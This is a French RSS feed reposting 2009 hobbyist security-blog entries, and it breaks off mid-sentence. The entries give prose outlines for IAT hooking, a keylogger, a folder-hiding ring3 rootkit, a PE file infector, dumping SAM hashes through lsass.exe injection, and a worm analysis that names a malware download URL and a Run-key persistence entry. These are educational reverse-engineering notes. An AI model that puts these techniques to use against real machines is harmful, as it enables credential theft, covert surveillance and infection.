<?xml version="1.0" encoding="utf-8"?>
<rss version="0.92">
<channel>
<title>SecuObs.com</title>
<link>http://www.secuobs.com</link>
<description>Observatoire de la securite Internet</description>
<language>fr</language>
<webMaster>webmaster@secuobs.com</webMaster>
 <item><title>Demenagement</title><description>2009-07-20 00:28:17 - 0vercl0k's blog. : Comme le titre du post l'indique, j'ai décidé de quitter blogspot   en effet j'ai eu de très nombreux problèmes de mise en page lors de la rédaction de mes articles, a tel point que la rédaction devenait insupportable Résultat, j'ai fais une demande d'hébergement chez tuxfamily ou j'ai installé un Wordpress Au final, le nouveau blog me plait, sobre sombre sérieux, je continuerais donc mes publications sur celui-ci   http 0vercl0ktuxfamilyorg bl0g  Mettez à jour vos RSS   A la prochaine o  IMAGE  </description><link>http://www.secuobs.com/revue/news/122333.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/122333.shtml</guid></item>
<item><title>API Hooking - IAT patching</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonjour à tous ,Aujourd'hui je vais essayer de vous présenter l'api hooking via l'iatpatchingEn effet notre but lors de ce petit billet sera de détourner l'appeld'apisJ'illustrerais avec un petit exemple de hooking sur le notepadexe ,cependant vous pourriez , après avoir compris le principe , laissercours à votre imagination afin de creer de multiples attaquesCette démonstration de hook sera réalisé dans l'userland ring3Tout d'abord je vais vous exposer ma façon d'opérer :- Nous allons coder un programme chargé d'injecter notre dll dans leprocessus cible  voir billet sur l'injection - Ensuite nous allons coder une dll qui ira modifier directement l'iatdu processus cible  voir billet sur le dump de l'iat Voilà donc les grandes étapes :- On retrouve le pid de notre processus- Nous ouvrons notre processus afin d'avoir un handle sur celui-ci ,avec l'api OpenProcess- On alloue de la mémoire dans le processus cible , on y écrira lefull path de notre dll- Nous créons un thread dans le processus sur l'adresse deLoadLibraryA  exporté par kernel32dll  avec comme arguement le pathde la dll donc - A présent notre dll est loadé par l'application cible- Notre dll dès son chargement va aller modifier l'adresse de lafonction à hooker par l'adresse de notre fonction dans l'iatL'application à chaque appel de l'api hooké appelera enfaite notrefonction , c'est pour cela qu'elle doit posséder le même prototype quela fonction hookéJe tiens aussi à préciser , que la modification de l'iat ne peut sefaire qu'après un appel à l'api VirtualProtectEt ce pour changerl'acces à la zone mémoire , après la modificationnous rétablissons l'accès originel de la zone mémoireVoici donc les illustrations :Tout d'abord l'injecteur : InjecteurDllLa dll pour hooker le ShellAbout de notepadexe : HookShellAboutWdllUn petit screenshot pour les plus fainéants :Puis pour terminé j'ai voulu faire un exemple un peu plus concret maisqui reste très simpleImaginons le code d'une petite application permettant de lister lesfichiers et dossiers dans le current directoryNotre but serait de cacher un fichier Voici les codes : - HookFindNextFirstFiledll- cibleexeEt un petit screnshot :J'essairais plus tard de coder un petit rootkit userland prenant lecontrôle de l'userland par le biais de hook justementSur ce bonne fin de journée , cyaIMAGE</description><link>http://www.secuobs.com/revue/news/104790.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104790.shtml</guid></item>
<item><title>SetWindowsHookEx ou le hook 'facile' :</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonsoir à tous ,je profite de ce petit week-end pour vous faire partager ma 'release'de la semaine Après mon post sur les hooks , je voulais continuer dans cette voie-ciet donc m'intérésser à la fonction SetWindowsHookExD'après ce quel'on a put me raconter la fonction va hooker elle-même certaines apisau niveau du kernel ,cela permettant donc d'analyser les messagesenvoyés par les différentes applicationsLe but est donc de pouvoir 'capter' toutes les informations liées à lasouris et au clavier dans mon petit post Comme précédemment , nousallons choisis la technique par dll ,on appelle ça un hooksystèmeNotre technique sera donc la suivante :-Nous allons coder un programme se chargeant d'appeler les fonctionsde notre dll-Notre programme va donc appeller ces fonctions , les fonctions defiltres vont donc rentrer en actionsPour le code ,j'ai opté pour l'utilisation de variable globale,permettant de retrouver le handle du hook ou celui du fichier de log,dans tous le programme par exempleJe tiens à préciser aussi que les adresses des fonctions contenus dansles dlls auraient put être retrouvées en chainant plusieurs apis,seulement j'ai choisis de linker le a de ma dll pour compiler leprogramme 'principale'La source présente donc une utilisation de la fonctionSetWindowsHookEx pour deux types de messages ,à savoir les messagesliés à la souris et aux claviersLorsque le pointeur de la souris sera dans le coin inférieur droit ,oùdans le coin supérieur gauche le programme enverra unOutputDebugStringDe plus le programme se chargera de logger toutes les touches duclavier ,biensûre Et puis je vois déjà tous me pointer du doigt : -"Henn , il ouvre etferme le fichier à chaque écriture" et bien oui j'ai choisis d'opérerainsi car cela me permettait de pouvoir ouvrir le fichier log pendantque le prog tourner par exempleJe voulais aussi préciser que ce projet est un petit échec ,je me rendcompte que lorsque qu'on 'bourrine' le clavier on aperçoit desinversions de lettresun problème auquel je n'ai trouvé aucunesolution donc si des personnes ont reussis merci de prendre contactavec moi merciDonc je vous expose cette petit saloperie de code :-FuckingKeylogger-La dll contenant les hooksUn petit screenshot : :cyaPS : si quelqu'un aurait une façon valable pour gérer le problèmes desdeads keys aussiQuelques liens sympa :- http://vbmanfreefr/articles/hacking/KEYLOGhtm- http://tcharlesdeveloppezcom/simul/IMAGE</description><link>http://www.secuobs.com/revue/news/104789.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104789.shtml</guid></item>
<item><title>Ntdll ou la libraire cachée de windoz</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonsoir à tous ,Je ne sais pas si vous avez déjà écouté le dernier live des daftspunks ,mais dans ce cas là : lancez la mule ;Après cette petite publicitée pour les dieux de l'électro ,je laisseplace à mon modeste post de la semaine doncCette-fois ci c'est ce qu'on appelle "l'api native" qui a attiré monattentionJe vais vous parler un peu de ce beau bordelTout d'abord il faut savoir que l'on appelle api native ,soit lesfonctions exportées par ntdlldll doncCelles-ci sont dîtes'undocumented'  une poignée de fonction d'écrite dans le DDK Nous parlerons un peu plus tard de l'aspect coding ,ce qui va nousintéressé c'est un peu l'histoire de cette librairie un peu spécial,je diraisUne petite anecdote raconterait qu'il y a quelques années ,nos amiswindoziens pensaient justement ,que cette dll ,plutôt mystérieuse,contenait des fonctions cachéesCependant leurs craintes étaient loind'être injustifiées ,car en effet windoz nous a caché pas mal depetites chosesDeplus cette dll étant loadé par tous les processus ,cela attiraitl'oeil ,dirais-jeAprès cette petite anecdote passons à l'aspect technique ,codingJe vous vois d'ici vous demander : - "Mais comment vas-t-on connaîtreleurs noms etc "Tout d'abord pour le nom des fonctions exportées par cette dll ,ilsuffirait d'allez s'engoufrer dans l'EAT  Export Address Table cfPortable Executable Nous disposons donc de l'information la plus simple à récupérer pourle moment ,leurs nomsEnsuite plusieurs personnes ce sont décarcassés afin de produire unprototype de ces apis  voir liens en bas de page Maintenant à nous de jouerAprès cette brève introduction au sujet ,je vais vous parler del'exemple accompagnant l'articleCelui-ci va lister le nom desprocessus ,les treads identifier  TID  des threads associés auxprocessusUn code tout à fait basique donc ,qui pouvait être réalisé avec unCreateToolhelp32SnapshotJe vais commenter un petit peu le code ,car celui-ci est peut être unpeu velu au première abordTout d'abord la technique pour appeler les fonctions :- Nous définissons un pointeur de fonction nous permettant d'appelernotre fonction un peu plus tard- Vue qu'aucun header à définit ces fonctions nous sommes obligés detrouver son adresse grâce à deux apis : GetModuleHandle etGetProcAddress- Nous assignons donc cette adresse au pointeur de fonction ,notrefonction est prête à étre utiliséeUne fois cela compris ,vous avez tout compris car le reste n'est quede la manipulation de structures , de pointeurs de structures etcOn google un peu pour connaitre les structures associées ,lesconstantes utiles etcJe vous donne un petit screenshot du code en action :Ensuite pour bien vérifier la véracitée des informations renvoyées,nous codons un petit programme faisant appel à l'apiGetCurrentThreadIdPlace aux petits codes à présent :DumpFuckingProcAndTIDThreadIDVoilà voilà ,vous devez être capable à présent avec un minimum dedocumentation d'utiliser les apis nativesLiens :- ftp://ftp-developpezcom/windows/cours/api-nativepdf - Petitarticle sympa traitant des apis natives- http://ivanlef0ufreefr/repo/windoz/Ntdll_EATtxt - Export AddressTable de la librairie- NtQuerySystemInformation Function WindowsPS : J'ai déclaré entièrement les structures dans la source afin depouvoir vous amusez avec ,si vous en avez envie ;CyaIMAGE</description><link>http://www.secuobs.com/revue/news/104788.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104788.shtml</guid></item>
<item><title>h0l0c4ust ou l'illustration d'une technique utilisée dans les rootkits ring3</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonsoir à tous,Comme chaque semaine ,je vais vous exposer mon petit article et unpetit code dans le but d'illustrer le toutAprès ces plusieurs posts ,j'ai décidé de faire un petit truc plutôtintéréssant pour celui-ciEn effet il met en action de l'injection de dll ,l'utilisation d'apinative ,du hook  en modifiant l'iat Mon but a donc été de montrer un code pouvant être intégré dans unrootkit ring 3Celui-ci va cacher un dossier au processus cibleBon à présent je vous expose la technique :- Tous d'abord ,nous allons injecter notre dll dans un processus  àl'aide d'un d'injecteur - Ensuite ,notre dll va allez corrompre l'iat de kernel32dll ,afin dedétourner l'api native  exporté par ntdlldll  NtQueryDirectoryFile- Et enfin le plus complexe ,est de réaliser une fonction capable decacher notre dossierVoilà donc le mode opératoireNormalement si vous avez suivis les précédents post ,vous n'aurezaucun problème à injecter la dll ,et corrompre l'iat de kernel32dllCe qui peut poser problème en revanche,c'est l'élaboration de lafonction qui va cacher notre dossierJ'ai décidé de ne pas l'expliquer ,car c'est plutôt complexe àexpliquer et je vous conseil de faire énormement de test ,de tattonnerle toutJe vais par contre vous renvoyez vers de la documentation françaisesur le "Comment faire " de la chose  en fin de page Comme je parlais de rootkit userland ,ce code est loin d'en être un,tout d'abord le code ne prend en aucun cas le contrôle de l'userlandIl va s'injecter dans un seul processus donc ,cependant il seraitfacilement réalisable d'injecter tous les processus lancés au momentde l'éxécution de l'injectionMais un petit problème resterait le cas des nouveaux processus : euxne seraient pas injecter par notre dllEnfin bref tout cela pour susciter votre curiosité à vous de jouer àprésentUn petit screenshot ,injection du notepadexe :Et un second screen ,cette fois-ci plus intéréssant : explorerexe :Les codes : h0l0c4ust's injectorch0l0c4ustc dllLes documents : - http://ivanlef0ufreefr/repo/windoz/hidingfrtxt -article sur lequel j'ai basé l'élaboration de ma fonction- http://wwwritedu/~jrk9185/rootkit/6-7/rootkitc - une sourcetrouvée ,qui peut aider je penseVoilà en espérant que vous allez bien assimilez la techniqueBonne fin de soirée à vous cyaPS : désolé pour le retard du post ,je suis en pleine période d'examenblancPS2 : j'ai finalement commenté le code de la dll un petit peu IMAGE</description><link>http://www.secuobs.com/revue/news/104787.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104787.shtml</guid></item>
<item><title>Ownz fucking PE ou Comment corrompre un binaire</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonjour à tous,En ce début de vacance, j'en profite pour vous faire part d'un petitarticle plutôt sympathique je trouveIl portera sur la corruption du Portable Executable, abrégé PEJ'ai décidé de faire un tel article, pour m'introduire au vxing, oul'art de créer un virusLe but de cet article est non pas de pouvoir comprendre comment unvirus se reproduit ou autres, mais de s'amuser avec le PECe bricolage est, je trouve extremement intérréssant dans le sens oul'on va jouer au 'bob le bricoleur'Le code illustrant l'article est enfaite un petit binaire qui vainfecter un PEIl va l'infecter en lui faisant éxecuter une messagebox toute simpleJe vous expose donc la technique que j'ai utilisé :- On mappe le fichier en mémoire pour avoir une plus grande aisance àmodifier le PE- On va ajouter une entête de section IMAGE_SECTION_HEADER- On va incrementer le membre spécifiant le nombre de section au seindu binaire- On incremente la SizeOfImage de la taille de notre section,autrement dit on lui ajoute la taille de notre section- On va aussi rediriger le point d'entré de l'éxécutable sur notrefutur section- On démappe le fichier- On l'ouvre CreateFile, on utilise SetFilePointer pour se positionnerau PointerToRawData membre de la structure IMAGE_SECTION_HEADER- On écrit en dur notre section- On écrit aussi l'adresse du 'vrai' point d'entré- On remplit la différence entre la taille écrite et la taillespécifié dans le PE c'est à dire la taille aligné sur lefileAlignmentVoilà comment nous allons opérer notre binaireJ'ai oublié de préciser que notre section sera composée d'un shellcodeessentiellement codé par 0mega7 et modifié par BaboonJ'ai donc ajouter un jmp à la fin de notre shellcode, c'est pour celaqu'après l'avoir écrit, nous écrivons l'adresse du vrai point d'entré: Pour sauter dessus Bon je suis tout à fait d'accord avec vous, c'est un peu laborieux monhistoire, mais en codant ce pseudo-infecteur on y apprend, plusieurschoses comme l'alignement des donnéesJ'entend déjà d'ici les gouroux vxers me huer, je leur répondrais quec'est une étape avant de coder mon propre petit vx, prochain articlepeut être :Pour réaliser un tel code il faut absolument avoir une documentationdétaillé sur le portable executable, biensure, je vous fournis ça enfin d'articleJe voulais aussi revenir sur l'alignement des données : c'est enfaiteavoir une taille multiple d'une autre définit dans le pe, toutsimplement pour une manipulation plus aiséeN'oublier pas d'utiliser LordPE, un outil vraiment génial pourcontroler les actions menées sur le PE, vérifier le nombre de sectionet j'en passeC'est un peu tout ce que j'ai à dire pour ce petit code, voici :un petit screenshot :le code : OwnzFuckingPEcLiens : - LA documentation -http://ivanlef0ufreefr/repo/windoz/pe/Le_format_PEpdf - Pour vous documenter un peu sur le vxing -http://ebixadnext-touchcom/repo/Vxing/Vx%20guide/introhtml L'article est normalement terminé, mais je tenais à vous faire partd'un petit crackme avec un niveau vraiment simpleCe qui m'a intéréssé c'est de coder le keygen, car il fallait toutsimplement aller lire dans la mémoire du processusJuste un petit code de quelques lignes histoire d'illustrer l'apiReadProcessMemoryUn petit Screenshot :Le petit code : KeygenDefiGutte1cVoilà bonne journée à vous, en esperant que cela vous à intéréssé,cyaPS : N'oublier pas de changer les adresses qui sont dites, hardcodédans le shellcodeIMAGE</description><link>http://www.secuobs.com/revue/news/104786.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104786.shtml</guid></item>
<item><title>Manipulate lsassexe for fun and profit</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonjour à tous,Alors déjà tout d'abord, un joyeux noël s'imposeEn espérant que le barbu vous a comblé :Revenons aux choses sérieusesC'est le fichier SAM qui va nous intérésser aujourd'huiTout d'abord qui ne connais pas le fichier SAMC'est enfaite le fichier qui va contenir, les informations de sessions: les mots de pass y comprisIl faut savoir que ce fichier est biensure, illisible, et inaccessiblelorsque nous sommes sur notre sessionIl est en quelque sorte 'verrouillé' par le systemeIl existe donc deux alternatives pour nous :- L'on boot sur une distribution linux par exemple, où l'on va copierle sam sur un périphérique de stockage- On utilise un outil comme pwdumpLe fichier SAM contient les mots de pass encodé dans deux algorithmedifférent à savoir : LM hash et le NTLM hashParlons à présent de lsassexeC'est un processus natif de windows depuis Windows 2000 me semblet-il, lsass tout d'abord signifie "Local Security Authority SubsystemService"Autrement dit ce processus va permettre de gerer la connection auxsessions localementC'est en quelque sorte le serveur local d'authentification de windowsBon certains d'entres vous, pourraient se demander pourquoi on injectedans lsassexe et non dans un autre processus systemCommesvchostexeJ'ai moi même tenter d'injecter dans svchostexe, mais sans réussite,je serais donc tenter de dire que les fonctions utilisées sontrésérvées à lsassexe Je vous tiens au courant, lorsque j'en serais plus - c'est qu'enfaitele service manipulant les users locaux est 'dirigé' par lsassexe voirlien en bas de pageLe mode opératoire est donc simple :- Nous allons tout d'abord donner les droits de debugs à notreexecutable- Notre executable ira injecter une dll dans lsassexe, c'est pourcela qui nous faut le debug privilege, afin d'injecter lsassexe- A présent à la dll de jouer - Elle va appeler successivement des apis exportés par samsrvdll, quiseront ni plus ni moins des fonctions utilisés afin de 'rentrer' encontact avec le SAMAu final nous aurons 'manipuler' lsassexe afin de pouvoir récupérerla liste des users, ainsi que leurs mot de pass hashés dans les deuxalgorythme cités plus hautPour mener à bien ce projet, je me suis permis d'analyser les sourcesde pwdump un petit peu : ça permet de savoir un peu où l'on vaCe que je vous recommande aussi, c'est d'éviter de faire des tests survotre propre système, car lsassexe en cas de problème va vous faireredemarerJe vous conseille alors l'utilisation de machine virtuel, souventabrégée 'vm' afin de pouvoir mener à bien vos tests Les quelques nostalgiques d'entre nous, se rappelleront du célèbre verSasser qui utilisait une faille présente dans le processus lsassexejustementEnfin bref, je vous présente une petite vidéo réalisé par mes soinsafin d'illustrer un peu cette articleElle montre que mon petit outil fonctionne à merveille :Voici le lien : s4mmywmvJe vous présente aussi un petit screenshot :Et un autre :Et enfin mon petit code :- L'injecteur : s4mmyc- La dll : sc0ubicLiens et outils utiles :-Les sources du projet pwdump -http://wwwgooglecom/codesearchhl=fretq=show:XLfFm6CSy7k:uYtRtXzYO5getsa=Netct=rdpetcs_p=http://wwwopenwallcom/passwords/dl/pwdump/pwdump2zipetcs_f=pwdump2- Et notre fidèle LordPe, pour aller voir l'Export Address Section desamsrvdll par exemple- Et biensure une machine virtuelle- LM Hash - http://enwikipediaorg/wiki/LM_hash- NTLM Hash - http://enwikipediaorg/wiki/NTLMVoilà pour cette article, en espérant que ça servira a certains cyascoubidoubidou PS : merci santa -http://assistecomfreefr/p/services_windows/gestionnaire_de_comptes_de_securitehtmlIMAGE</description><link>http://www.secuobs.com/revue/news/104785.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104785.shtml</guid></item>
<item><title>Close a remote handle file</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonjour à tous,me revoilà après un petit peu d'absence ,tout cela par la faute desvacances scolaires et des fêtes bien sureTrêve de plaisanterie ,en cette nouvelle année je reprend mon petitrégime hebdomadaireAujourd'hui c'est un post de Ivanlef0u qui attire mon attention :Playing with windows handleDans ce post il explique comment récupérer le type d'un handle ainsique son nomBien sure on utilise encore une fois la belle api windows ainsi quequelques fonctions ,venues tout droit de ntdllCeci dis j'ai voulus moi même tenter l'expérience ,en codantexactement ce qu'il avait déjà réaliséCela permet de mettre des petites choses au point ,être sois mêmeconfronté aux problèmes éventuels et j'en passeCependant j'ai décidé d'utilisé ce petit code afin de m'amuser avecles handles de type fileNotre but ,va donc être de fermer un handle file d'un processus Comme vous le savez peut être ,chaque processus possèdent des handlesouvert sur des objets qui peuvent être :- des files- des events- des mutexs- des pipes et j'en passeAllez voir par ici ,notre fabuleuse msdn :http://msdn2microsoftcom/en-us/library/ms724251aspxJe vais donc vous expliquez comment on va opérer :- Tous d'abord ,on doit récupérer des informations sur tous leshandles ouvert sur le système ,on utilisera ntQuerySystemInformationavec l'argument SystemHandleInformation- Ensuite on doit trier les structures ,afin de garder seulementcelles qui concernent notre processus ,on compare donc le membre de lastruct spécifiant le PID avec le PID de notre processus- A présent on doit retrouver le type de handle auquel nous avons afaire ,on duplique notre handle afin de query des informations dessus,duplicateHandle donc- Une fois dupliqué nous pouvons utiliser NtQueryObject afin d'obtenirson type- A présent ,si vous lisez le post Ivanlef0u il parle d'un bug auniveau des types files : et bien en effet on est obligé d'implanterune petite astuce permettant de savoir si oui ou non notre fonctionest bloquanteOn lance donc des threads qui s'occupe de récupérer le nom du handle,seulement si il dépasse le timeout on les closeLe thread va donc s'occuper de remplir notre structure ,que noustraiterons dans la fonction qui l'appel- On compare le nom avec le fichier que nous voulons fermer ,et onlance notre fonction CloseHandleCette fonction utilise un système que l'on a largement travaillé ,aufil de se blog : l'exécution de code bien sureOn créer un thread dans notre processus cible sur la fonctionCloseHandle ,on lui passe un pointeur sur notre handle et BIM closedVoilà en gros le petit codeCelui-ci est peut être assez 'velus' à lire ,des structures enpagailles et tous cela dans un seul fichierTous cela pour dire que n'hésiter pas à utiliser les headers etcompagniePour tester ce petit programme ,j'ai codé un petit fopen ,qui secharge de garder le fichier ouvert ,on peut alors lancer le close denotre handlePlace au concret ,voici un petit screenshot :et un petit dernier :Maintenant le principale ,les codes :-CloseAFuckingFileHandlec-HandleOpencVoici quelques liens intéréssants :-Je vous conseille de telecharger le SDK ,elle contient de la docconcernant certaines apis natives-ZwQueryInformationFile -http://wwwosronlinecom/DDKx/kmarch/k111_9pyqhtm-Playing with windows Handles -http://wwwivanlef0utuxfamilyorg/p=13PS : un petit merci à wizardman pour sa générosité concernant le futurdns : ainsi que Nam_K PS2 : merci à blackclowns pour son zine ,vraiment technique un grandmerciPS3 : Le blog est actuellement disponible avec l'adresse suivant :www0vercl0kfrIMAGE</description><link>http://www.secuobs.com/revue/news/104784.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104784.shtml</guid></item>
<item><title>Les apis de debugs, c'est plus fort que toi</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonsoir à vous,c'est avec un peu de retard que je vous poste ce petit article de riendu toutNe vous attendez pas à quelque chose d'exceptionnel, il ne s'agitjuste d'une introduction aux apis de debugsVous vous êtes jamais demandé, comment des désassembleurs/débuggeurtel que OllyDbg, fonctionnent-ilsBon bah justement c'est avec cette batterie d'apis qu'ilsfonctionnentJe vais alors, vous expliquez le déroulement et l'utilisation de telsapisTous d'abord, nous avons deux choix En effet, soit l'on attache notreprocessus debuggé à notre programme qui sera en faite le 'débuggeur'; ou l'onva créer directement notre processus CreateProcess avec les flagsDEBUG_PROCESS ainsi que DEBUG_ONLY_THIS_PROCESS afin de recevoirseulement les débugs évents relatif à notre processus et non à tousses processus fils et coUne fois l'une de ces actions réalisée, notre programme devient ledébuggeurC'est à dire que grâce à la fonction WaitForDebugEvent, nous allonspouvoir stopper le ou les threads lorsqu'un 'debug évent' va êtreenvoyé par le processus debuggéLa liste des debugs évents est disponible ici :http://msdn2microsoftcom/en-us/library/ms679308VS85aspxUne fois le processus stoppé, libre à vous de modifier son contexte, àsavoir ces registres ou encore de passer en mode 'single step',autrement dit 'pas à pas'Ceci dit, une fois fait vos petites magouilles, on relance l'attendede debug évents avec ContinueDebugEventVoilà le fonctionnement du débuggeurVous devez savoir aussi, que si vous avez des opérations de réécrituresur des registres, vous devez spécifié le flag CONTEXT_CONTROL dans lemembre ContextFlags de la structure CONTEXTSi vous vous demandez de quoi est composé, la structure CONTEXT, lamsdn me direz-vous, mais justement elle ne présente pas la structurec'est pour cela que je vous donne la déclaration tel quel, présentesur mon systèmetypedef struct _CONTEXT {DWORD ContextFlags;DWORD Dr0;DWORD Dr1;DWORD Dr2;DWORD Dr3;DWORD Dr6;DWORD Dr7;FLOATING_SAVE_AREA FloatSave;DWORD SegGs;DWORD SegFs;DWORD SegEs;DWORD SegDs;DWORD Edi;DWORD Esi;DWORD Ebx;DWORD Edx;DWORD Ecx;DWORD Eax;DWORD Ebp;DWORD Eip;DWORD SegCs;DWORD EFlags;DWORD Esp;DWORD SegSs;BYTE ExtendedRegistersMAXIMUM_SUPPORTED_EXTENSION;} CONTEXT;Je voulais vous parlez aussi de la réalisation du mode 'singe step'Celui-ci se réalise tout simplement en spécifiant un flag dans lemembre EFlags, on appelle ce flag le 'Trap Bit'Grosso modo, vous allez faire un GetThreadContext, spécifiez le flagdans le bon membre, SetThreadContext et ContinueDebugEvent avec leflag DBG_CONTINUEEnsuite, à la prochaine instruction un nouveau debug évent va faireson apparition : EXCEPTION_SINGLE_STEP, si vous voulez continuer enmode pas à pas, vous re-spécifiez le flag et ainsi de suiteVoilà pour ce qui est de la théorie, place aux screenshots :Trouver l'adresse de la fonction à appeler :Rewrite de l'eipEt maintenant les codes :DebugSingleStepcRewriteEIPcCiblecA présent, vous êtes apte à patcher un crackme en mémoire par exemple:Plus serieusement, l'outil "iinjj" developpé par Baboon utilise enpartie ces apis, allez faire un tour sur son blog :http://baboonringzerofr/Voilà en espérant que ça pourra servir à quelques d'entres vous, surce bonne soirée et désolé du retardPS: Vous pouvez aussi biensure posez vos breakpoints, en modifiant lamémoire avec WriteProcessMemory, et y posez une int 3, libre à votreimmaginationIMAGE</description><link>http://www.secuobs.com/revue/news/104783.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104783.shtml</guid></item>
<item><title>3v1l 0r n0t  - Part I</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonjour à tous,Me revoilà avec un petit article, celui-ci traitera de l’analyse d’unmalware récent : nakedcomCette analyse m’a prit pas mal de temps en effet, j’y est doncconsacré deux semaines ce qui explique l’absence de post la semainedernièreCeci dit, celui-ci sera un peu plus longConseils préliminaires :-Tous d’abord, si vous comptez lancer le vers, munissez vous d’unemachine virtuel vmware par exemplePersonnellement j’ai utilisé vmware, avec une machine virtuel où j’yai installé Windows-Ensuite je vous conseil d’utiliser la fonction ’snapshot’ de vmware,celle-ci permet de prendre une image du système tel que, au cas ouvous voudriez revenir avec un système vierge de toute infection, oncharge l’image de notre Windows et nous revoilà avec un systèmevierge-De plus, des outils sont nécessaire pour analyser un peu le malware,on ne peut pas se passer de désassembleur et d’un débuggeur bienévidemmentEn ce qui me concerne, j’utiliserais IDA ainsi qu’OllyDbg en tant quedébuggeurJe voulais aussi ajouter que IDA est vraiment un outil, toutsimplement merveilleux Ce qu’il apporte en plus, c’est tout d’abordla possibilité de renommer les variables, les fonctions et j’en passeLe dump devient de plus en plus lisible, car il vous appartientProfitez pleinement de ce gros avantageMais on peut citer des outils, comme RegMon , snort, ProcessExplorer,ou encore Wireshark, sans oublier les exécutables natifs commeregeditCeci dis, si vous avez confiance en vous et en votre analyse, ledébuggeur et le désassembleur suffira -Une dernière petite chose qu’il faut à mon goût penser, c’est quenous partons sur la base que l’exécutable à analyser peut fairen’importe quoi ; c’est pour cela je vous conseil de désactivé l’accèsà tous types de réseaux, que ce soit un réseau local ou autresJe pense avoir résumé le tout, vous êtes à présent apte à analyser unpetit malwareJe tiens à préciser que je ne fournirais aucun binaire relatif à monanalyse, afin d’éviter toutes détériorations massives par des kiddiesou autresAu cours de ce petit post, je vais présenter les actions de notrepetit malwareSi il y a des passages où l’analyse est erroné, n’hésiter pas àprendre contact avec moi, il s’agit de ma première analyse de malwareJe vous file quelques petits papers qui peuvent être intéressant àlire avant :-http://wwwnetixfreefr/tutos/ida/ida1/ida1htm - prise en maind’IDA-http://milw0rmcom/papers/133 - Anatomy of a Malware, ce pdf vousprésente une analyse concrète avec dumpsAprès c’est quelques avertissements, nous allons pouvoir attaquer levif du sujetPremier contact avec le loaderNous allons tout d’abord vérifier si notre exécutable est protégécontre le reversingIl peut être en effet packer, ce qui peut nous gêner au cours de notreanalyseJe lance un coup de PEID sur l’exécutableJe vais donc aller, regarder du côté des sections de l’exécutable etlàLe nom des sections est UPX0 etc En tant qu’être normalementconstitué, je télécharge le packer UPX, et puis je le test avec safonction d’ unpack sur mon exécutableJe relance PEID, pour voir si ce n’était pas un vilain trick ducodeurLe ton est a priori donné, nous allons débuguer/désassembler un codeC/C++, une bonne nouvelle me direz vousTrip in da binaireEt nous voilà partis, IDA d’un côté, et Olly de l’autre, nous sentonsl’adrénaline qui monte, let's go Dès le début de notre analyse, on remarque des actions plutôt bizarre: on se retrouve avec des appels aux apis GetTickCount et SleepC’est à ce moment là que l’on se demande a quoi il joue : c’est enfaite très simple, il s’agit d’un anti-debug abrégé anti-dbg Si l’exécutable est debuggué il se peut, que vous allez rester dutemps sur une instructions, or si le sleep dure plus de tempsmillisecondes que celui demandé, on se retrouvera avec unedifférence de secondeBon, un petit anti-dbg qui vaut pas grand-chose à mon avis,continuonsNous tombons, sur une routine qui va décrypter une chaîne decaractères : c’est enfaîte un xor de la lettre avec le nombre 139Un petit code C est fournis en fin d’article pour décoder ce genre dechaîneNous avançons, on manipule des structures du type PROCESS_INFORMATIONet STARTUPINFO, on flag les structures de façons a avoir une fenêtrecaché, si un éventuel appel à CreateProcessOn récupère à présent le path sur le dossier temporaire de la bécane,grâce à GetTempPath, c’est un peu plus loin que l’on va formater unechaîne de caractère du type : DossierTemporaireservicesexeOn se doute que ce fichier sera, le cœur de notre verNos petites suppositions était loin d’être fausse, car le loader vacréer ce fichier dans le dossier temporaire justement, on y écris lecode binaire qui est stocké dans le loaderOn lance alors le processus, servicesexe, précédemment créer d’où leflag des structures etcNous voilà déjà avec un binaire pas très gentil supposons de créer,et de lancerContinuonsAfin de ne pas alerter la victime, le loader va tout d’abord, créer unfichier imagejpg dans le dossier courant, pour après allez l’afficherdans une fenêtreMe direz vous, il faut pas être très fin pour ne pas se douter dequelque chose, mais passonsVoilà, le loader s’arrête iciA présent, analysons servicesexeServicesexe, un parfait cachottierDe retour, accompagné de nos fidèles instrumentsPetit reflex, vérifié si l’exécutable n’est pas protégéPremière chose que nous remarquons d’intéressants, c’est bien surel’appel à deux callsOn s’engage droit dedans, on trace, on trace, de call en call, lesroutines s’éclaircissentOn comprend peu à peu qu’il s’agit enfaîte des routines qui sechargent de décrypter toutes les chaînes dont le programme aurabesoinEt cela, grâce a un xor de la lettre et du chiffre 7 cette fois-ciLe programme fait ensuite appel aux APIs GetProcAddress etGetModuleHandle afin de récupérer l'adresse des API qui lui serontutile par la suiteUne fois ceci effectué, on constate une injection de code dansl’explorerexeRien de bien croustillant, juste un control au niveau de la mutesainsi qu’un WinExec sur le servicesexe justementOn ne se décourage, on continusCette fois-ci nous arrivons sur une récupération de pointeur sur lafonction InternetReadFile exportée par WinInnetdll, on génère ensuiteune chaîne de caractères de 6lettres, et là On télécharge un fichierhébergé à l’adresse : http://jamesccpowerru/dimaexe, le fichier estdonc enregistrer sous le nom de la string précédemment généré dans lerépertoire courantPar faute de temps je n’ai pas analysé cette exécutable, si unepersonne l’a déjà fait, qu’il me fasse signe merciUne fois le fichier écrit, on l’exécute bien évidemmentA présent, on aperçoit plusieurs apis/fonctions permettant de formaterdes chaînes de caractèresTout d’abord, on formate une chaîne du genre : «C:\servicesexe:*:Enabled:Flash Player2 » Mais pourquoiJuste en dessous, on crée une clé dans la base de registre Windows, acette emplacement : «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\» sous le nom de FlashPlayer2le petit vilain : On a bien compris, cette clé 